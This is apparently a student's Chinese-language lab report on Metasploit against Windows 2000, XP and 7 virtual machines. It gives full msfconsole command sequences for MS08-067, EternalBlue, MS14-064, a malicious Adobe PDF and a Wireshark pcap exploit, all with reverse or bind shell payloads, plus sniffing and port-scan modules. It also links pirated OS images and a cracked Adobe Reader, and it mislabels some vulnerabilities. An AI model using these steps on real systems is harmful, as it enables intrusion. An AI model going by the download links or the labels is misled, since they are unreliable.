一. 实践内容
- 实验一:一个主动攻击实践,如ms08_067;
- 实验二:一个针对浏览器的攻击,如ms11_050;
- 实验三:一个针对客户端的攻击,如Adobe;
- 实验四: 成功应用任何一个辅助模块。
二.实验原理
MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
-
MSF的六个模块:
查看六种模块源码目录
/usr/share/metasploit-framework/modules
-
渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去 -
辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提 -
攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 -
空字段模块
Nop Modules
-
编码模块
Encoders
-
后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
-
-
MSF常用漏洞利用命令:
- search name :用指定关键字搜索可以利用的漏洞模块
- use exploit name :使用漏洞
- show options :显示配置选项
- set TARGET target number :设置目标版本
- exploit :开始漏洞攻击
- sessions -l :列出会话
- sessions -i id :选择会话
- sessions -k id :结束会话
- Ctrl+z :把会话放到后台
- Ctrl+c :结束会话
三.基础问题回答
1.用自己的话解释什么是exploit,payload,encode.
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
四.实验步骤
实验准备:下载并安装所需要镜像及虚拟机
1.安装windows 2000镜像;
下载链接:ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/(复制链接到迅雷下载中下载)
安装教程:https://www.eskysky.com/745.html
2.安装Microsoft Windows 7镜像;
下载链接:ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/ (复制链接到迅雷下载中下载)
3.安装Microsoft Windows XP镜像;
下载地址:ed2k://|file|CN_WINXP_PRO_ISO.img|530186240|7855069CE4216615D761654E2B75A4F7|/(复制链接到迅雷下载中下载)
密钥链接:https://zhidao.baidu.com/question/454390920351831725.html
实验一:一个主动攻击实践,如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
攻击方式:ms08_067
靶机:Microsoft Windows 2000
具体步骤:
- 先对靶机进行ping操作,获取IP地址
-
在kali中测试靶机与攻击机之间能否ping通 ping 靶机IP ,不手动停止,会一直传数据包,直接 Ctrl+C 手动停止。
-
攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 靶机IP
-
sudo msfconsole 打开控制台
-
search ms08-067 查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi 选择该漏洞
-
set payload generic/shell_reverse_tcp 设置攻击的载荷
-
set RHOSTS 靶机IP 设置靶机IP
-
set LHOSTS kali的IP 设置攻击机IP
-
exploit 进行攻击
- 测试攻击,获得靶机权限之后输入ipconfig测试一下
攻击方式:ms17_010
靶机:Microsoft Windows 7 x64 (注意一定要64位的)
具体步骤:
- 安装windows7虚拟机,查看IP地址
- 关闭虚拟机的防火墙
- sudo msfconsole
- use auxiliary/scanner/smb/smb_ms17_010 选择攻击漏洞
- set RHOSTS 靶机ip 输入靶机ip
- exploit 对靶机扫描,看是否存在漏洞。下图所示,即为存在漏洞。
- use exploit/windows/smb/ms17_010_eternalblue 选择该漏洞
- set payload windows/x64/meterpreter/reverse_tcp 设置攻击的载荷
-
set RHOSTS 靶机IP //设置靶机IP
-
set LHOSTS kali的IP //设置攻击机IP
-
exploit //进行攻击
- 测试攻击,获得靶机权限之后输入ipconfig测试一下
实验二:一个针对浏览器的攻击,如ms11_050
ms14_064Windows Server 2008(用于基于 x64的系统)和 Windows Server 2008(用于基于 x64的系统)Service Pack 2 [Internet Explorer 7]( 远程执行漏洞代码)
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
攻击方式:ms14_064
靶机:Microsoft WindowsXP IE浏览器
具体步骤:
- 打开windowsXP对浏览器设置一下安全权限。
- 右键IE打开设置
- 安全->自定义级别->对没有...见图
- 高级->允许...见图
- kali内的代码输入
sudo msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST kali的ip //设置攻方
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST kali的ip
set LPORT 1328//自己的学号
set target 0 //设置winXP靶机
exploit //发起渗透攻击
- 去靶机浏览器中输入URL生成代码(报错不用管)
- 执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击
- 输入 sessions -i 1 实施攻击
攻击方式:ms17_010(针对浏览器)
靶机:Microsoft Windows7 IE浏览器
具体步骤:
- kali上输入以下的代码
use exploit/windows/smb/ms17_010_eternalblue //进入该模块
show payloads //显示可用载荷
set payload generic/shell_reverse_tcp
set RHOST 192.168.19.144 //设置靶机IP,端口默认为445
set LPORT 1328 //成功后回连主机端口
set LHOST 192.168.19.136 //设置攻击机IP
exploit //发起渗透攻击
- 来到靶机IP浏览器,输入http://kali的IP:监听端口(http://192.168.19.136:1328)链接。
- 攻击成功!测试一下。
实验三:攻击客户端的实践
Adobe reader:下载链接:http://dt11.oss-cn-beijing.aliyuncs.com/download/adobe%20reader%209.3%E4%B8%AD%E6%96%87%E7%A0%B4%E8%A7%A3%E7%89%88_274505276.exe(放到迅雷下载,在虚拟机中安装)
wireshark:下载版本wireshark1.4.2,一定是要这个版本,官网下架了,可能因为这个有bug,我找了个奇怪的网站下的,大家也可以自己去找找。
攻击方式:Adobe
靶机:Windows XP
具体步骤:
- 进入kali输入如下指令
msfconsole //进入控制台 search adobe //进行查找 use windows/fileformat/adobe_cooltype_sing //使用漏洞 info //查看漏洞具体信息(重点当然是description) set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set LPORT 1328//设置端口号 set RHOST 靶机IP//设置靶机IP地址 exploit #攻击
- 此时生成
msf.pdf
,我们进入保存目录cd /root/.msf4/local
,复制到共享文件夹中,在移到windowsXP虚拟机中 - 下一个Adobe reader打开这个pdf文件。
- 回到kali中开始监听靶机
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/bind_tcp //选择攻击载荷 show options //查看详细信息 set RHOST 靶机IP //设置靶机IP地址 set LPORT 1328 //设置端口号 exploit //攻击
- 打开靶机,打开pdf文件
- 回到kali,回连成功! 测试一下!
攻击方式:WireShark1.4.2
靶机:Windows XP
具体步骤:
- kali中输入下面的代码
use exploit/windows/fileformat/wireshark_packet_dect set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 show options //查看设置项 set LHOST 192.168.19.136 //kali IP set LPORT 1328 //设置攻击端口 set FILENAME zwq.pcap //设置生成的pcap文件名 exploit //发起攻击
- 把生成的zwq.pcap拷贝到靶机中
- 然后再回到kali输入以下代码
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp //设置tcp反向连接 set LHOST 192.168.19.136 //kali IP set LPORT 1328 //设置攻击端口 exploit //监听
- 在靶机中用wireshark打开zwq这个文件
- 回到kali中,发现链接成功,测试一下。
实验四:成功应用任何一个辅助模块
攻击方式:sniffer(嗅探)
靶机:Windows XP
具体步骤:
- 可以使用这个功能来看靶机的浏览记录
- 在kali的msfconsole中输入以下代码
search sniff //看一下嗅探的攻击 use auxiliary/sniffer/psnuffle //选择攻击操作 show options exploit
- 这个嗅探攻击不需要设置什么,直接exploit攻击。
- 然后就去windows xp里访问一个网址。
- kali中完全捕捉到了。
攻击方式:portscan(端口扫描)
靶机:Windows XP
具体步骤:
- 可以 search portscan 命令搜索相关的端口扫描脚本
- 在kali中输入如下的代码
search portscan //看看可以扫什么端口 use auxiliary/scanner/portscan/tcp // 选择tcp脚本 set Rhosts 192.168.19.140 //设置靶机IP set threads 20 show options //看一下配置文件 run
- 去到靶机中上一下网
- 回到kali中查看返回数据(得到了tcp包)
五.实验体会
这次实验其实不咋难,但是要下载的文件实在是太多了,导致我一直做了三天才完成。在实验过程中,有一些配件很难找到去哪里下载,可能是由于有bug被下架了。
在实验过程中我发现其实漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,还是需要不断努力完善。